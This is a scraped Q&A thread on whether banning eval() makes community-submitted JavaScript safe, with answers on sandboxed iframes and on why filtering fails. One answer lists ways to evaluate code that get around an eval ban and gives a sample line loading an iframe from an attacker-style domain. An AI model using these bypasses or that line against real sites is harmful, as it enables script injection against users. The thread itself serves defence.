Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How can I make external code 'safe' to run? Just ban eval()?

I'd like to be able to allow community members to supply their own javascript code for others to use, because the users' imaginations are collectively far greater than anything I could think of.

But this raises the inherent question of security, particularly when the purpose is to allow external code to run.

So, can I just ban eval() from submissions and be done with it? Or are there other ways to evaluate code or cause mass panic in javascript?

There are other things to disallow, but my main concern is that unless I can prevent strings being executed, whatever other filters I put in for specific methods can be circumvented. Doable, or do I have to resort to demanding the author supplies a web service interface?

like image 376
Phil H Avatar asked Apr 11 '09 10:04

Phil H


3 Answers

Since HTML5 has now become available you can use a sandbox for untrusted JavaScript code.

The OWASP HTML5 Security Cheat Sheet comments on Sandboxed frames:

  • Use the sandbox attribute of an iframe for untrusted content.
  • The sandbox attribute of an iframe enables restrictions on content within a iframe. The following restrictions are active when the sandbox attribute is set:

    1. All markup is treated as being from a unique origin.

    2. All forms and scripts are disabled.

    3. All links are prevented from targeting other browsing contexts.
    4. All features that triggers automatically are blocked.
    5. All plugins are disabled.

      It is possible to have a fine-grained control over iframe capabilities using the value of the sandbox attribute.

  • In old versions of user agents where this feature is not supported, this attribute will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.

  • Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header X-Frame-Options which supports the deny and same-origin values. Other solutions like framebusting if(window!== window.top) { window.top.location = location; } are not recommended.

You can allow scripts to run while keeping the other restrictions in place. However, you should make sure that scripts run from a different domain than your main content in order to prevent XSS attacks by an attacker redirecting a user to load the page directly (i.e. not via your IFrame).

This will restrict scripts from using eval to attack your main domain, but it may be that this would also prevent the scripts from actually being powerful enough for your needs. Any interaction with your main domain would have to be via Window.postMessage. If this is too restrictive then @bobince's answer still has the best suggestions for workarounds.

Please see my other answer for details of how a sandbox can be safely implemented.

like image 182
SilverlightFox Avatar answered Nov 11 '22 05:11

SilverlightFox


Or are there other ways to evaluate code

You can't filter out calls to eval() at a script-parsing level because JavaScript is a Turing-complete language in which it is possible to obfuscate calls. eg. see svinto's workaround. You could hide window.eval by overwriting it with a null value, but there are indeed other ways to evaluate code, including (just off the top of my head):

  • new Function('code')()
  • document.write('%3Cscript>code%3C/script>')
  • document.createElement('script').appendChild(document.createTextNode('code'))
  • window.setTimeout('code', 0);
  • window.open(...).eval('code')
  • location.href='javascript:code'
  • in IE, style/node.setExpression('someproperty', 'code')
  • in some browsers, node.onsomeevent= 'code';
  • in older browsers, Object.prototype.eval('code')

or cause mass panic in javascript?

Well createElement('iframe').src='http​://evil.iframeexploitz.ru/aff=2345' is one of the worse attacks you can expect... but really, when a script has control, it can do anything a user can on your site. It can make them post “I'm a big old paedophile!” a thousand times on your forums and then delete their own account. For example.

do I have to resort to demanding the author supplies a web service interface?

Yes, or:

  • do nothing and let users who want this functionality download GreaseMonkey
  • vet every script submission yourself
  • use your own (potentially JavaScript-like) mini-language over which you actually have control

an example of the latter that may interest you is Google Caja. I'm not entirely sure I'd trust it; it's a hard job and they've certainly had some security holes so far, but it's about the best there is if you really must take this approach.

like image 30
bobince Avatar answered Nov 11 '22 06:11

bobince


There really isn't any way that allowing arbitrary Javascript execution can be safe. Realistically, any sort of filtration you provide to prevent malicious code would strip out legitimate code that accesses similar functions or data. I don't think that what you're looking to do is feasible in this way.

like image 22
Anthony Avatar answered Nov 11 '22 07:11

Anthony